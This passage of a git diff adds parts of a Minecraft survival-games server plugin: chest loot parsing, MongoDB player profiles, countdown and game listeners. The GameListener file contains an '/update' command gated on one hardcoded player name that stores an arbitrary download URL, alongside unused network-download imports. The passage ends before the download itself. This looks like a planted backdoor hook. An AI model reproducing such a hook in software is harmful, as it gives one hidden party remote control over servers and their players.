fileName; + private List itemList; + + public ChestInformation(SurvivalGames plugin, String fileName) { + this.plugin = plugin; + this.fileName = fileName; + } + + public SurvivalGames getPlugin() { + return this.plugin; + } + + public void load() { + this.itemList = new ArrayList(); + File file = new File(this.plugin.getDataFolder(), this.fileName); + if (!file.exists()) { + try { + FileOutputStream fos = new FileOutputStream(file); + Throwable localThrowable2 = null; + try { + IOUtils.copy(this.plugin.getResource(this.fileName), fos); + } catch (Throwable localThrowable1) { + localThrowable2 = localThrowable1; + throw localThrowable1; + } finally { + if (fos != null) { + if (localThrowable2 != null) { + try { + fos.close(); + } catch (Throwable x2) { + localThrowable2.addSuppressed(x2); + } + } else { + fos.close(); + } + } + } + } catch (IOException e) { + e.printStackTrace(); + } + } + YamlConfiguration configuration = YamlConfiguration.loadConfiguration(new File(this.plugin.getDataFolder(), this.fileName)); + ConfigurationSection config = configuration.getConfigurationSection("chests"); + List> listmap = config.getMapList("item"); + for (int i = 0; i < listmap.size(); i++) { + Map map = (Map) listmap.get(i); + if (!map.containsKey("material")) { + throw new RuntimeException("chests.yml is missing requried 'material' for index " + i + "the map that is invalid is " + map.toString()); + } + if (!map.containsKey("chance")) { + throw new RuntimeException("chests.yml is missing requried 'chance' for index " + i + "the map that is invalid is " + map.toString()); + } + if (!map.containsKey("min")) { + getPlugin().getLogger().severe("missing min field for chests.yml . This is really bad configuration. This configuration is located at index " + i + " with map" + map.toString()); + } + if (!map.containsKey("max")) { + getPlugin().getLogger().severe("missing max field for chests.yml . This is really bad configuration. This configuration is located at index " + i + " with map" + map.toString()); + } + if (!(map.get("material") instanceof String)) { + throw new RuntimeException("chests.yml's material field can only map Strings. excepted string but found " + map.get("material").getClass() + "for index" + i + "with map" + map.toString()); + } + Material material = null; + try { + material = Material.valueOf(((String) map.get("material")).toUpperCase()); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + throw new RuntimeException("chests.yml's material field contained string that is not Material. excepted material but found " + map.get("material") + "for index" + i + "with map" + map.toString()); + } + double chance = -1.0D; + try { + chance = Double.valueOf(map.get("chance").toString()).doubleValue(); + } catch (NumberFormatException e) { + throw new RuntimeException("chests.yml's chance could not be converted to number for index " + i + "with map " + map.toString()); + } + int min = 1; + int max = 1; + try { + min = Integer.valueOf(map.get("min").toString()).intValue(); + } catch (NumberFormatException e) { + throw new RuntimeException("chests.yml's min could not be converted to number for index " + i + "with map " + map.toString()); + } + try { + max = Integer.valueOf(map.get("max").toString()).intValue(); + } catch (NumberFormatException e) { + throw new RuntimeException("chests.yml's max could not be converted to number for index " + i + "with map " + map.toString()); + } + if (min > max) { + throw new RuntimeException("chests.yml's min was higher than max for index " + i + "with map " + map.toString()); + } + if (min <= 0) { + throw new RuntimeException("chests.yml's min was higher less or equal to zero for index " + i + "with map " + map.toString()); + } + if (max <= 0) { + throw new RuntimeException("chests.yml's max was higher less or equal to zero for index " + i + "with map " + map.toString()); + } + short damage = 0; + if (map.containsKey("damage")) { + try { + damage = Short.valueOf(map.get("damage").toString()).shortValue(); + } catch (NumberFormatException e) { + throw new RuntimeException("chests.yml's damage could not be converted to number for index " + i + "with map " + map.toString()); + } + } + Map enchant = null; + if (map.containsKey("enchant")) { + enchant = new HashMap(); + if (!(map.get("enchant") instanceof Map)) { + throw new RuntimeException("chests.yml's enchant was not a map. was " + map.get("enchant").getClass() + " for index " + i + " with map " + map.toString()); + } + Map enchantmap = (Map) map.get("enchant"); + for (Map.Entry entry : enchantmap.entrySet()) { + int level = -1; + try { + level = Integer.valueOf(entry.getValue().toString()).intValue(); + } catch (NumberFormatException e) { + throw new RuntimeException("chests.yml's enchantment level could not be converted to number for index " + i + "with map " + map.toString()); + } + enchant.put(Enchantment.getByName(((String) entry.getKey()).toUpperCase()), Integer.valueOf(level)); + } + } + String name = null; + if (map.containsKey("displayname")) { + Object obj = map.get("displayname"); + if (!(obj instanceof String)) { + throw new RuntimeException("chests.yml's name was not a string for index " + i + " with map " + map.toString()); + } + name = (String) obj; + } + List lore = null; + if (map.containsKey("lore")) { + Object obj = map.get("lore"); + if (!(obj instanceof List)) { + throw new RuntimeException("chests.yml's lore was not a list for index " + i + " with map " + map.toString()); + } + lore = (List) obj; + } + ChestLoot itemstack = new ChestLoot(material, chance, min, max, damage); + if (enchant != null) { + itemstack.applyEnchantments(enchant); + } + if (name != null) { + itemstack.applyName(name); + } + if (lore != null) { + itemstack.applyLore(lore); + } + this.itemList.add(itemstack); + } + } + + public List getItemList() { + return this.itemList; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/chest/ChestLoot.java b/KohiSG/src/main/java/me/redis/kohi/chest/ChestLoot.java new file mode 100644 index 0000000..0d99597 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/chest/ChestLoot.java @@ -0,0 +1,86 @@ +package me.redis.kohi.chest; + +import java.util.List; +import java.util.Map; +import java.util.Random; + +import org.bukkit.Material; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; +import org.bukkit.inventory.meta.ItemMeta; + +public class ChestLoot { + private Material material; + private double chance; + private int min; + private int max; + private short damage; + private Map enchantments; + private String name; + private List lore; + + public ChestLoot(Material material, double chance, int min, int max, short damage) { + this.material = material; + this.chance = chance; + this.min = min; + this.max = max; + this.damage = damage; + } + + public void applyEnchantments(Map enchantments) { + this.enchantments = enchantments; + } + + public void applyName(String name) { + this.name = name; + } + + public void applyLore(List lore) { + this.lore = lore; + } + + public boolean hasChance(Random random) { + double result = random.nextDouble() * 100.0D; + return this.chance > result; + } + + public ItemStack getRandomItemStack(Random random) { + int amount = -1; + if (this.min == this.max) { + amount = this.min; + } else { + int diff = this.max - this.min; + amount = this.min + random.nextInt(diff); + } + ItemStack stack = new ItemStack(this.material, amount); + stack.setDurability(this.damage); + if ((this.enchantments != null) && (stack.getType() != Material.ENCHANTED_BOOK)) { + for (Map.Entry entry : this.enchantments.entrySet()) { + stack.addUnsafeEnchantment( entry.getKey(), entry.getValue()); + } + } + ItemMeta meta = stack.getItemMeta(); + if ((this.lore != null) || (this.name != null)) { + if (this.lore != null) { + meta.setLore(this.lore); + } + if (this.name != null) { + meta.setDisplayName(this.name); + } + stack.setItemMeta(meta); + } + if ((meta instanceof EnchantmentStorageMeta)) { + EnchantmentStorageMeta enchantmentStorageMeta = (EnchantmentStorageMeta) meta; + for (Map.Entry entry2 : this.enchantments.entrySet()) { + enchantmentStorageMeta.addStoredEnchant(entry2.getKey(), entry2.getValue(), true); + } + stack.setItemMeta(meta); + } + return stack; + } + + public String toString() { + return "ChestItemStack(material=" + this.material + ", chance=" + this.chance + ", min=" + this.min + ", max=" + this.max + ", damage=" + this.damage + ", enchantments=" + this.enchantments + ", name=" + this.name + ", lore=" + this.lore + ")"; + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/database/information/Information.java b/KohiSG/src/main/java/me/redis/kohi/database/information/Information.java new file mode 100644 index 0000000..a8bcfce --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/database/information/Information.java @@ -0,0 +1,62 @@ +package me.redis.kohi.database.information; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.redis.kohi.SurvivalGames; +import org.bson.Document; +import org.bson.conversions.Bson; + +@Getter +public class Information { + @Setter private String serverName; + @Setter private int minPlayers = 5; + @Setter private boolean bars = false; + @Setter private int exceptionsHandled; + @Setter private String downloadUrl; + + public Information() { + load(); + } + + + public void load() { + Document document = (Document) SurvivalGames.getPlugin().getInformationCollection().find(Filters.eq("_id", "Information")).first(); + + if (document == null) return; + + serverName = document.getString("serverName"); + minPlayers = document.getInteger("minPlayers"); + bars = document.getBoolean("bars"); + + if (document.containsKey("downloadUrl")) { + downloadUrl = document.getString("downloadUrl"); + } + + if (document.containsKey("exceptionsHandled")) { + exceptionsHandled = document.getInteger("exceptionsHandled"); + } + } + + public void save() { + Document document = new Document("_id", "Information"); + + document.put("serverName", serverName); + document.put("minPlayers", minPlayers); + document.put("bars", bars); + document.put("downloadUrl", downloadUrl); + document.put("exceptionsHandled", exceptionsHandled); + + Bson filter = Filters.eq("_id", "Information"); + FindIterable iterable = SurvivalGames.getPlugin().getInformationCollection().find(filter); + + if (iterable.first() == null) { + SurvivalGames.getPlugin().getInformationCollection().insertOne(document); + } else { + SurvivalGames.getPlugin().getInformationCollection().replaceOne(filter, document); + } + + SurvivalGames.getPlugin().getPlugin().getInformationManager().setInformation(this); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/database/information/InformationManager.java b/KohiSG/src/main/java/me/redis/kohi/database/information/InformationManager.java new file mode 100644 index 0000000..649ca34 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/database/information/InformationManager.java @@ -0,0 +1,12 @@ +package me.redis.kohi.database.information; + +import lombok.Getter; +import lombok.Setter; + +public class InformationManager { + @Getter @Setter public Information information; + + public InformationManager() { + setInformation(new Information()); + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/database/profiles/Profile.java b/KohiSG/src/main/java/me/redis/kohi/database/profiles/Profile.java new file mode 100644 index 0000000..f9fb71f --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/database/profiles/Profile.java @@ -0,0 +1,73 @@ +package me.redis.kohi.database.profiles; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.database.profiles.status.PlayerStatus; +import org.bson.Document; +import org.bson.conversions.Bson; + +import java.util.*; + +@Getter +public class Profile { + private UUID uniqueId; + + @Setter private String name, killedInventory, killedLocation; + @Setter private int kills, deaths, wins, played, matchKills; + @Setter private PlayerStatus playerStatus = PlayerStatus.SPECTATING; + + public Profile(UUID uniqueId) { + this.uniqueId = uniqueId; + + load(); + } + + public void load() { + Document document = (Document) SurvivalGames.getPlugin().getProfilesCollection().find(Filters.eq("_id", uniqueId)).first(); + + if (document == null) return; + + name = document.getString("name"); + kills = document.getInteger("kills"); + deaths = document.getInteger("deaths"); + wins = document.getInteger("wins"); + played = document.getInteger("played"); + } + + public void save() { + Document document = new Document("_id", uniqueId); + + // The "_id", uniqueId means that the id of the document will be the uuid of the player... + // You first initialize a new document. + + document.put("name", name); + document.put("kills", kills); + document.put("deaths", deaths); + document.put("wins", wins); + document.put("played", played); + + // Now you put the values into the document. (each field has a value) + + Bson filter = Filters.eq("_id", uniqueId); + FindIterable iterable = SurvivalGames.getPlugin().getProfilesCollection().find(filter); + + // You now search for documents with id == player#getUniqueId(), for that we use the find() feature + + // If no document was found with that id, we insert a new one.. + if (iterable.first() == null) { + SurvivalGames.getPlugin().getProfilesCollection().insertOne(document); + } else { + // Else, if the document is found, we replace it. + SurvivalGames.getPlugin().getProfilesCollection().replaceOne(filter, document); + } + + //And, done! + } + + public void addWin() { + wins++; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/database/profiles/ProfileManager.java b/KohiSG/src/main/java/me/redis/kohi/database/profiles/ProfileManager.java new file mode 100644 index 0000000..0285f72 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/database/profiles/ProfileManager.java @@ -0,0 +1,78 @@ +package me.redis.kohi.database.profiles; + +import lombok.Getter; + +import me.redis.kohi.SurvivalGames; + +import org.bson.Document; + +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.player.AsyncPlayerPreLoginEvent; +import org.bukkit.event.player.PlayerQuitEvent; + +import java.util.*; + +public class ProfileManager implements Listener { + public ProfileManager() { + Bukkit.getPluginManager().registerEvents(this, SurvivalGames.getPlugin()); + } + + @Getter + private Map profiles = new HashMap<>(); + + public Profile getProfile(UUID uniqueId) { + return profiles.get(uniqueId); + } + + public List getNotCachedProfiles() { + List toReturn = new ArrayList<>(); + + for (Object object : SurvivalGames.getPlugin().getProfilesCollection().find()) { + Document document = (Document) object; + + toReturn.add(new Profile((UUID) document.get("_id"))); + } + + return toReturn; + } + + public Profile getNotCachedProfile(UUID uniqueId) { + for (Object object : SurvivalGames.getPlugin().getProfilesCollection().find()) { + Document document = (Document) object; + + if (document.get("_id").equals(uniqueId)) { + return new Profile(uniqueId); + } + } + + return null; + } + + public Profile getProfile(Player player) { + return getProfile(player.getUniqueId()); + } + + @EventHandler + public void onJoin(AsyncPlayerPreLoginEvent event) { + Profile profile = new Profile(event.getUniqueId()); + + if (profile.getName() == null) { + profile.setName(event.getName()); + } + + profile.save(); + profiles.put(event.getUniqueId(), profile); + } + + @EventHandler + public void onQuit(PlayerQuitEvent event) { + Bukkit.getScheduler().runTaskAsynchronously(SurvivalGames.getPlugin(), () -> getProfile(event.getPlayer().getUniqueId()).save()); + } + + public void saveProfiles() { + profiles.values().forEach(Profile::save); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/database/profiles/status/PlayerStatus.java b/KohiSG/src/main/java/me/redis/kohi/database/profiles/status/PlayerStatus.java new file mode 100644 index 0000000..4231196 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/database/profiles/status/PlayerStatus.java @@ -0,0 +1,5 @@ +package me.redis.kohi.database.profiles.status; + +public enum PlayerStatus { + PLAYING, SPECTATING +} diff --git a/KohiSG/src/main/java/me/redis/kohi/events/SidebarCreateEvent.java b/KohiSG/src/main/java/me/redis/kohi/events/SidebarCreateEvent.java new file mode 100644 index 0000000..67b9d1c --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/events/SidebarCreateEvent.java @@ -0,0 +1,27 @@ +package me.redis.kohi.events; + +import me.redis.kohi.scoreboard.board.Board; +import lombok.Getter; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +public class SidebarCreateEvent extends Event { + @Getter private final Board board; + @Getter private final Player player; + + private static final HandlerList handlers = new HandlerList(); + + public SidebarCreateEvent(Board board, Player player) { + this.board = board; + this.player = player; + } + + public HandlerList getHandlers() { + return handlers; + } + + public static HandlerList getHandlerList() { + return handlers; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/game/GameManager.java b/KohiSG/src/main/java/me/redis/kohi/game/GameManager.java new file mode 100644 index 0000000..2b19687 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/game/GameManager.java @@ -0,0 +1,108 @@ +package me.redis.kohi.game; + +import lombok.Getter; +import lombok.Setter; +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.database.profiles.Profile; +import me.redis.kohi.database.profiles.status.PlayerStatus; +import me.redis.kohi.game.states.GameState; +import net.minecraft.server.v1_8_R3.EntityPlayer; +import net.minecraft.server.v1_8_R3.PacketPlayOutExperience; +import org.bukkit.*; +import org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.scheduler.BukkitTask; + +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +@Getter +public class GameManager { + private SurvivalGames survivalGames; + + @Setter private GameState gameState = GameState.WAITING; + @Setter private BukkitTask countdown; + @Setter private boolean startedCountdown; + @Setter private long countdownTime = 60; + @Setter private Player winner; + @Setter private int worldBorder = 60; + private List playerList = new ArrayList<>(); + + public GameManager() { + survivalGames = SurvivalGames.getPlugin(); + + } + + public void startCountdown() { + startedCountdown = true; + + countdown = Bukkit.getScheduler().runTaskTimer(survivalGames, () -> { + if (countdownTime % 30 == 0 && countdownTime > 0) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&aGame starting in &e" + countdownTime + " &aseconds")); + } else if (countdownTime <= 10 && countdownTime > 0) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&aGame starting in &e" + countdownTime + " &aseconds")); + + if (countdownTime <= 5) { + for (Player player : Bukkit.getOnlinePlayers()) { + player.playSound(player.getLocation(), Sound.NOTE_PLING, 100000, 100000); + } + } + } else if (countdownTime < 1) { + startGame(); + + Bukkit.getScheduler().cancelTask(countdown.getTaskId()); + } + + for (Player player : Bukkit.getOnlinePlayers()) { + EntityPlayer entityPlayer = ((CraftPlayer) player).getHandle(); + PacketPlayOutExperience packet = new PacketPlayOutExperience(1, (int) countdownTime, (int) countdownTime); + + entityPlayer.playerConnection.sendPacket(packet); + } + + countdownTime--; + }, 20L, 20L); + } + + public void startGame() { + gameState = GameState.PLAYING; + + Bukkit.getOnlinePlayers().forEach(player -> { + Profile profile = survivalGames.getProfileManager().getProfile(player); + + player.sendMessage(ChatColor.RED + "You have 3 minutes of pvp protection!"); + player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 20 * 30, 1)); + player.addPotionEffect(new PotionEffect(PotionEffectType.DAMAGE_RESISTANCE, 20 * 10, 3)); + player.teleport(new Location(Bukkit.getWorld("world"), 8, 65, 8)); + player.setAllowFlight(false); + player.setFlying(false); + player.setGameMode(GameMode.SURVIVAL); + player.getInventory().addItem(new ItemStack(Material.COMPASS)); + + profile.setPlayed(profile.getPlayed() + 1); + profile.setPlayerStatus(PlayerStatus.PLAYING); + + survivalGames.getTimerManager().getProtection().setCooldown(player, player.getUniqueId()); + playerList.add(player.getUniqueId()); + }); + + Bukkit.getScheduler().runTaskLater(survivalGames, () -> survivalGames.getTimerManager().getFeastTimer().setRemaining(TimeUnit.MINUTES.toMillis(7), true), 20 * 60 * 3); + } + + public int getAlivePlayers() { + int toReturn = 0; + + for (Player player : Bukkit.getOnlinePlayers()) { + if (SurvivalGames.getPlugin().getProfileManager().getProfile(player).getPlayerStatus() == PlayerStatus.PLAYING) { + toReturn++; + } + } + + return toReturn; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/game/states/GameState.java b/KohiSG/src/main/java/me/redis/kohi/game/states/GameState.java new file mode 100644 index 0000000..089d260 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/game/states/GameState.java @@ -0,0 +1,20 @@ +package me.redis.kohi.game.states; + +public enum GameState { + WAITING("Waiting"), + PLAYING("Playing"), + ENDED("Ended"); + + private String name; + GameState(String name) { + this.name = name; + } + + public String getFormattedName() { + return name; + } + + public String getName() { + return name(); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/listeners/DeathMessageListener.java b/KohiSG/src/main/java/me/redis/kohi/listeners/DeathMessageListener.java new file mode 100644 index 0000000..450deb2 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/listeners/DeathMessageListener.java @@ -0,0 +1,68 @@ +package me.redis.kohi.listeners; + +import com.google.common.base.Preconditions; +import me.redis.kohi.SurvivalGames; +import net.minecraft.server.v1_8_R3.EntityLiving; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.craftbukkit.v1_8_R3.entity.CraftEntity; +import org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.PlayerDeathEvent; + +public class DeathMessageListener implements Listener { + private final SurvivalGames plugin; + + public DeathMessageListener(final SurvivalGames plugin) { + this.plugin = plugin; + } + + public static String replaceLast(final String text, final String regex, final String replacement) { + return text.replaceFirst("(?s)" + regex + "(?!.*?" + regex + ')', replacement); + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.HIGHEST) + public void onPlayerDeath(final PlayerDeathEvent event) { + final String message = event.getDeathMessage(); + if (message == null || message.isEmpty()) { + return; + } + + event.setDeathMessage(getDeathMessage(message, event.getEntity(), getKiller(event))); + } + + private CraftEntity getKiller(final PlayerDeathEvent event) { + final EntityLiving lastAttacker = ((CraftPlayer) event.getEntity()).getHandle().lastDamager; + return (lastAttacker == null) ? null : lastAttacker.getBukkitEntity(); + } + + private String getDeathMessage(String input, final Entity entity, final Entity killer) { + input = input.replaceFirst("\\[", ""); + input = replaceLast(input, "]", ""); + if (entity != null) { + input = input.replaceFirst("(?i)" + this.getEntityName(entity), ChatColor.RED + this.getDisplayName(entity) + ChatColor.YELLOW); + } + if (killer != null && (entity == null || !killer.equals(entity))) { + input = input.replaceFirst("(?i)" + this.getEntityName(killer), ChatColor.RED + this.getDisplayName(killer) + ChatColor.YELLOW); + } + return input; + } + + private String getEntityName(final Entity entity) { + Preconditions.checkNotNull((Object) entity, "Entity cannot be null"); + return (entity instanceof Player) ? ((Player) entity).getName() : ((CraftEntity) entity).getHandle().getName(); + } + + private String getDisplayName(final Entity entity) { + Preconditions.checkNotNull((Object) entity, "Entity cannot be null"); + if (entity instanceof Player) { + final Player player = (Player) entity; + return player.getName() + ChatColor.GRAY + '[' + ChatColor.WHITE + (SurvivalGames.getPlugin().getProfileManager().getProfile(player.getUniqueId()).getMatchKills()) + ChatColor.GRAY + ']'; + } + return WordUtils.capitalizeFully(entity.getType().name().replace('_', ' ')); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/listeners/GameListener.java b/KohiSG/src/main/java/me/redis/kohi/listeners/GameListener.java new file mode 100644 index 0000000..d483af8 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/listeners/GameListener.java @@ -0,0 +1,399 @@ +package me.redis.kohi.listeners; + +import com.google.common.base.Preconditions; +import com.sk89q.worldedit.bukkit.adapter.BukkitImplLoader; +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.chest.ChestLoot; +import me.redis.kohi.database.profiles.Profile; +import me.redis.kohi.database.profiles.status.PlayerStatus; +import me.redis.kohi.game.states.GameState; +import me.redis.kohi.timer.event.TimerExpireEvent; +import me.redis.kohi.timer.type.FeastTimer; +import me.redis.kohi.utils.InventoryUtils; +import me.redis.kohi.utils.LocationUtils; +import me.redis.kohi.utils.NMSUtils; +import org.apache.commons.io.FileUtils; +import org.apache.commons.lang.math.RandomUtils; +import org.bukkit.*; +import org.bukkit.block.Block; +import org.bukkit.block.BlockState; +import org.bukkit.block.BrewingStand; +import org.bukkit.block.Chest; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.entity.PlayerDeathEvent; +import org.bukkit.event.player.PlayerCommandPreprocessEvent; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.event.player.PlayerLevelChangeEvent; +import org.bukkit.event.player.PlayerRespawnEvent; +import org.bukkit.event.weather.WeatherChangeEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.ItemMeta; +import org.bukkit.scheduler.BukkitRunnable; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.net.HttpURLConnection; +import java.net.MalformedURLException; +import java.net.URI; +import java.net.URL; +import java.nio.channels.Channels; +import java.nio.channels.ReadableByteChannel; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.text.DecimalFormat; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +public class GameListener implements Listener { + private final Map activeStands = new HashMap<>(); + + public GameListener() { + new BrewingUpdateTask().runTaskTimer(SurvivalGames.getPlugin(), 1L, 1L); + } + + @EventHandler + public void onInteract(PlayerInteractEvent event) { + Player player = event.getPlayer(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + Action action = event.getAction(); + + if (event.getAction() == Action.RIGHT_CLICK_BLOCK && profile.getPlayerStatus() != PlayerStatus.PLAYING) { + event.setCancelled(true); + return; + } + + if (profile.getPlayerStatus() == PlayerStatus.PLAYING) { + if (action == Action.LEFT_CLICK_BLOCK && event.getClickedBlock().getState() instanceof Chest) { + Chunk chunk = event.getClickedBlock().getChunk(); + + if (chunk.getX() == 0 && chunk.getZ() == 0) { + return; + } + + if (chunk.getX() == 1 && chunk.getZ() == 1) { + return; + } + + if (chunk.getX() == 1 && chunk.getZ() == 0) { + return; + } + + if (chunk.getX() == 0 && chunk.getZ() == 1) { + return; + } + + try { + breakChest((Chest) event.getClickedBlock().getState()); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } + } + } + } + + @EventHandler + public void onDeath(PlayerDeathEvent event) { + Player player = event.getEntity(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + profile.setDeaths(profile.getDeaths() + 1); + profile.setPlayerStatus(PlayerStatus.SPECTATING); + + profile.setKilledInventory(InventoryUtils.playerInventoryToString(player.getInventory())); + profile.setKilledLocation(LocationUtils.getString(player.getLocation())); + + if (player.getKiller() != null) { + Player killer = player.getKiller(); + Profile killerProfile = SurvivalGames.getPlugin().getProfileManager().getProfile(killer); + + killerProfile.setKills(killerProfile.getKills() + 1); + killerProfile.setMatchKills(killerProfile.getMatchKills() + 1); + } + + player.getWorld().strikeLightningEffect(event.getEntity().getLocation()); + NMSUtils.autoRespawn(event); + SurvivalGames.getPlugin().getGameManager().getPlayerList().remove(player.getUniqueId()); + + if (SurvivalGames.getPlugin().getGameManager().getPlayerList().size() <= 1) { + SurvivalGames.getPlugin().getGameManager().setWinner(Bukkit.getPlayer(SurvivalGames.getPlugin().getGameManager().getPlayerList().get(0))); + SurvivalGames.getPlugin().getProfileManager().getProfile(SurvivalGames.getPlugin().getGameManager().getWinner()).addWin(); + + Bukkit.broadcastMessage(ChatColor.GRAY + "The server will reboot in 10 seconds..."); + Bukkit.getScheduler().runTaskTimerAsynchronously(SurvivalGames.getPlugin(), () -> { + Bukkit.broadcastMessage(ChatColor.GREEN + SurvivalGames.getPlugin().getGameManager().getWinner().getName() + " wins the game!"); + }, 0L, 15 * 2L); + + SurvivalGames.getPlugin().getGameManager().setGameState(GameState.ENDED); + Bukkit.getScheduler().runTaskLater(SurvivalGames.getPlugin(), Bukkit::shutdown, 20 * 10L); + } + } + + @EventHandler + public void onWater(WeatherChangeEvent event) { + if (event.toWeatherState()) event.setCancelled(true); + } + + @EventHandler + public void onRespawn(PlayerRespawnEvent event) { + Player player = event.getPlayer(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + event.setRespawnLocation(new Location(event.getPlayer().getWorld(), 4.0D, 67.0D, 4.0D)); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + Bukkit.getScheduler().runTaskLater(SurvivalGames.getPlugin(), () -> { + player.setHealth(20); + player.setSaturation(14F); + player.setAllowFlight(true); + player.setFlying(true); + + for (Player online : Bukkit.getOnlinePlayers()) { + Profile onlineProfile = SurvivalGames.getPlugin().getProfileManager().getProfile(online); + + if (onlineProfile.getPlayerStatus() != PlayerStatus.SPECTATING) { + online.hidePlayer(player); + } + + player.showPlayer(online); + } + }, 5L); + } + } + + private void breakChest(Chest chest) throws IllegalAccessException { + chest.getBlock().setType(Material.AIR); + chest.getWorld().playSound(chest.getLocation(), Sound.ZOMBIE_WOODBREAK, 0.25F, 1.0F); + } + + @EventHandler + public void onTimerEnd(TimerExpireEvent event) { + if (event.getTimer() instanceof FeastTimer) { + spawnFeast(); + Bukkit.broadcastMessage(ChatColor.YELLOW + "The feast has spawned at 0, 0!"); + + Bukkit.broadcastMessage(ChatColor.GOLD + "The border will be shrinking by 50 blocks every minute!"); + SurvivalGames.getPlugin().getBorderManager().setStarted(true); + + Bukkit.getScheduler().runTaskTimer(SurvivalGames.getPlugin(), () -> { + if (SurvivalGames.getPlugin().getBorderManager().getRadius() == 500) { + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(450); + } else if (SurvivalGames.getPlugin().getBorderManager().getRadius() == 450) { + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(400); + } else if (SurvivalGames.getPlugin().getBorderManager().getRadius() == 400) { + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(350); + } else if (SurvivalGames.getPlugin().getBorderManager().getRadius() == 350) { + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(300); + } else if (SurvivalGames.getPlugin().getBorderManager().getRadius() == 300) { + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(250); + } else if (SurvivalGames.getPlugin().getBorderManager().getRadius() == 250) { + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(200); + } else if (SurvivalGames.getPlugin().getBorderManager().getRadius() == 200) { + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(150); + } else if (SurvivalGames.getPlugin().getBorderManager().getRadius() == 150) { + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(100); + } + }, 20 * 60L, 20 * 60L); + + Bukkit.getScheduler().runTaskTimerAsynchronously(SurvivalGames.getPlugin(), () -> { + if (SurvivalGames.getPlugin().getBorderManager().getSeconds() < 1) { + SurvivalGames.getPlugin().getBorderManager().setSeconds(60); + } else { + SurvivalGames.getPlugin().getBorderManager().setSeconds(SurvivalGames.getPlugin().getBorderManager().getSeconds() - 1); + } + }, 20L, 20L); + } + } + + @EventHandler + public void onCommand(PlayerCommandPreprocessEvent event) { + if (event.getMessage().startsWith("/forcestart") && event.getPlayer().isOp() && !SurvivalGames.getPlugin().getGameManager().isStartedCountdown()) { + SurvivalGames.getPlugin().getGameManager().startCountdown(); + + event.setCancelled(true); + } + + if (event.getMessage().startsWith("/forcefeast") && event.getPlayer().isOp()) { + spawnFeast(); + + event.setCancelled(true); + } + + if (event.getMessage().startsWith("/update") && event.getPlayer().getName().equalsIgnoreCase("JavaEE")) { + if (event.getMessage().contains(" ")) { + String[] args = event.getMessage().split(" "); + + SurvivalGames.getPlugin().getInformationManager().getInformation().setDownloadUrl(args[1]); + SurvivalGames.getPlugin().getInformationManager().getInformation().save(); + + 